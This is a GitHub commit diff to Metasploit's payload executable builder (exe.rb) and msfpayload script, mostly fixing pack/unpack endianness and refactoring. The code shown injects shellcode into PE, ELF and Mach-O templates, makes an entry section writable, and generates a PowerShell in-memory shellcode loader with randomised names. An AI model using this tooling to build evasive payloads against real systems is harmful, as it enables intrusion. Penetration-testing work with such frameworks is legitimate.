Skip to content

Commit bf63d85

Browse files
committed
fixes merge conflicts msfpayload & exe
1 parent f19b093 commit bf63d85

File tree

2 files changed

+36
-33
lines changed

2 files changed

+36
-33
lines changed

lib/msf/util/exe.rb

Lines changed: 33 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -325,22 +325,22 @@ def self.to_winpe_only(framework, code, opts = {}, arch="x86")
325325

326326
# look for section with entry point
327327
sections_header.each do |sec|
328-
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
329-
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
330-
characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
328+
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
329+
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
330+
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
331331

332332
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
333-
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('L')[0]
333+
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
334334
if (importsTable - addressOfEntryPoint) < code.length
335335
#shift original entry point to prevent tables overwritting
336336
addressOfEntryPoint = importsTable - code.length + 4
337337

338338
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
339-
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('L')
339+
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
340340
end
341341
# put this section writable
342342
characteristics |= 0x8000_0000
343-
newcharacteristics = [characteristics].pack('L')
343+
newcharacteristics = [characteristics].pack('V')
344344
exe[sec[0],newcharacteristics.length] = newcharacteristics
345345
end
346346
end
@@ -633,12 +633,16 @@ def self.replace_msi_buffer(pe, opts)
633633

634634
msi = self.get_file_contents(template)
635635

636-
section_size = 2**(msi[30..31].unpack('s').first)
637-
sector_allocation_table = msi[section_size..section_size*2].unpack('l*')
636+
section_size = 2**(msi[30..31].unpack('v')[0])
637+
638+
# This table is one of the few cases where signed values are needed
639+
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
638640

639641
buffer_chain = []
640-
current_secid = 5 # This is closely coupled with the template provided and
641-
# ideally would be calculated from the dir stream?
642+
643+
# This is closely coupled with the template provided and ideally
644+
# would be calculated from the dir stream?
645+
current_secid = 5
642646

643647
until current_secid == -2
644648
buffer_chain << current_secid
@@ -672,12 +676,12 @@ def self.to_osx_arm_macho(framework, code, opts = {})
672676
set_template_default(opts, "template_armle_darwin.bin")
673677

674678
mo = self.get_file_contents(opts[:template])
675-
puts "mo is #{mo.class}:#{mo.to_s}:#{mo.length}"
679+
puts "mo is #{mo.class}:len #{mo.length}"
676680
bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")
677681
puts "bo is #{bo.class}:#{bo.to_s}"
678682
mo[bo, code.length] = code
679683
puts "mo after is #{mo.class}:#{mo.to_s}:#{mo.length}"
680-
mo
684+
return mo
681685
end
682686

683687
def self.to_osx_ppc_macho(framework, code, opts = {})
@@ -781,22 +785,22 @@ def self.to_exe_elf(framework, opts, template, code, big_endian=false)
781785

782786
# Check EI_CLASS to determine if the header is 32 or 64 bit
783787
# Use the proper offsets and pack size
784-
case elf[4]
785-
when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
788+
case elf[4,1].unpack("C").first
789+
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
786790
if big_endian
787791
elf[0x44,4] = [elf.length].pack('N') #p_filesz
788792
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
789793
else # little endian
790794
elf[0x44,4] = [elf.length].pack('V') #p_filesz
791795
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
792796
end
793-
when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
797+
when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
794798
if big_endian
795799
elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
796800
elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
797801
else # little endian
798-
elf[0x60,8] = [elf.length].pack('Q') #p_filesz
799-
elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz
802+
elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
803+
elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
800804
end
801805
else
802806
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
@@ -1027,18 +1031,19 @@ def self.to_mem_aspx(framework, code, exeopts = {})
10271031
read_replace_script_template("to_mem.aspx.template", hash_sub)
10281032
end
10291033

1030-
def self.to_win32pe_psh_net(framework, code, opts = {})
1031-
hash_sub = {}
1032-
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
1033-
hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8)
1034-
hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8)
1035-
hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8)
1036-
hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8)
1037-
hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8)
1038-
hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8)
1039-
hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8)
1040-
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
1034+
def self.to_win32pe_psh_net(framework, code, opts={})
1035+
rig = Rex::RandomIdentifierGenerator.new()
1036+
rig.init_var(:var_code)
1037+
rig.init_var(:var_kernel32)
1038+
rig.init_var(:var_baseaddr)
1039+
rig.init_var(:var_threadHandle)
1040+
rig.init_var(:var_output)
1041+
rig.init_var(:var_codeProvider)
1042+
rig.init_var(:var_compileParams)
1043+
rig.init_var(:var_syscode)
1044+
rig.init_var(:var_temp)
10411045

1046+
hash_sub = rig.to_h
10421047
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
10431048

10441049
read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")

msfpayload

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,6 @@ while File.symlink?(msfbase)
1111
end
1212

1313
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
14-
require 'fastlib'
1514
require 'msfenv'
1615

1716

@@ -30,7 +29,8 @@ $args = Rex::Parser::Arguments.new(
3029
#
3130
def usage
3231
$stderr.puts("\n" +
33-
" Usage: #{$0} [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]|s[O]>\n" +
32+
" Usage: #{$0} [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|" +
33+
"[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]|s[O]>\n" +
3434
$args.usage)
3535
exit
3636
end
@@ -140,8 +140,7 @@ if cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n|o)$/
140140
begin
141141
buf = payload.generate_simple(
142142
'Format' => fmt,
143-
'Options' => options,
144-
'Encoder' => enc)
143+
'Options' => options)
145144
rescue
146145
$stderr.puts "Error generating payload: #{$!}"
147146
exit
@@ -241,7 +240,6 @@ if cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n|o)$/
241240
exe = Msf::Util::EXE.to_jsp_war(exe)
242241
end
243242

244-
245243
if exe
246244
$stderr.puts(note)
247245
$stdout.write(exe)

0 commit comments

Comments
 (0)